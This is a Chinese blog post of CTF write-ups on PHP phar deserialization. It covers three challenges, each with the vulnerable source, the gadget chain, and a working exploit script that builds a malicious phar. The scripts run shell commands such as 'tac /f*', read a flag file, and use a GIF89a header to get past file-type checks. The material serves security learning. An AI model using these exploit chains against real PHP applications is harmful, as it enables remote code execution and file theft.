phar反序列化

phar反序列化(更新中)

image-20250105001547996

2024楚慧杯决赛

  • file=show.php读源码
  • show.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
class sing{
public $apple;
public $range;
public function __destruct()
{
if($this->range == "range"){
echo "apple is ?".$this->apple;
}
}
}

class song{
public $banana; //banana 可控,让他指向的方法ernb()不存在,触发__call
public $abble;
public function __toString()//对象当做字符串的时候,会触发__toString
{
if($this->abble == "abble"){
return $this->banana->ernb();//banana 可控,让他指向的方法ernb()不存在,触发__call
}
}
}

class rap{
public $text;
public function __call($name, $arguments)//$test->bucunzai('123','456')调用一个不存在的方法时,会触发__call
{
return $this->text->aaabbb; //text 可控,让他指向的属性aaabbb不存在,触发__get
}
}

class basketball{
public $payload; //payload 可控
public function __get($name)//$test -> name2 调用一个不存在的属性时,会触发__get
{
if(!preg_match("/flag|system|php|cat|eval|tac|sort|shell|%|~|\\^|\\.|\'/i", $this->payload)){
@eval($this->payload);
}
}
}


if (isset($_GET['file'])) {
$imagePath = $_GET['file'];
if (preg_match("/(\/flag|\/fl|\/f|sort)/i", $imagePath)){
exit();
}

$imageData = file_get_contents($imagePath);

if ($imageData !== false) {

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_buffer($finfo, $imageData);
finfo_close($finfo);

header("Content-Type: $mimeType");

echo $imageData;
exit;
} else {
echo "Image cannot be read.";
}
}
?>

POP:class sing::__destruct() => class song::__toString() => class rap::__call() => class basketball::__get()

file=phar://uploads/test.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class sing{
public $apple;
public $range = "range";
}

class song{
public $banana;
public $abble = "abble";
}

class rap{
public $text;
}

class basketball{
public $payload;
}

$a = new sing();
$b = new song();
$c = new rap();
$d = new basketball();

$a -> range = $b;//echo并且指向新的song对象,触发song的__toString()方法
$b -> banana = $c;//c中不存在方法
$c -> text = $d;//
$d -> payload = 'echo `ls`'; //命令自己调整

$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //触发的开始是sing(),所以传$a 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算

?>

.phar重命名为.jpg

1
http://ip:port/show.php?file=phar://uploads/test.jpg 
  • 上面命令自己调整

[SWPU 2018]SimplePHP

  • index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct() //入口
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString() // C1e4r::__destruct() -> Show::__toString
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);//调用了 source 一个不存在的成员变量,触发__get()
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);//跟进get()方法
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key]; //这个可控,把它指向/var/www/html/flag
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}

这个链子还是比较简单的,难的点在于它会根据文件头检测phar文件,只改后缀名是没有用的。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}

$C1e4r = new C1e4r();
$Show = new Show();
$Test = new Test();

$C1e4r -> test = $Show;
$Show -> str['str'] = $Test;
$Test -> params['source'] = "/var/www/html/f1ag.php";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($C1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

[NSSRound#4 SWPU]1zweb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
if (preg_match("/flag/", $file)) {
die("nonono");
}
echo file_get_contents($file);
}
  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class LoveNss{
public $ljt='Misc';
public $dky='Re';
public $cmd;
}
$o = new LoveNss();
$o->ljt='Misc';
$o->dky='Re';
$o -> cmd= "system('tac /f*')";
//@unlink("exp.phar");
$phar = new Phar("exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test123.txt", "test123"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

phar反序列化
https://xu17.top/2025/01/04/phar反序列化/
作者
XU17
发布于
2025年1月4日
许可协议
XU17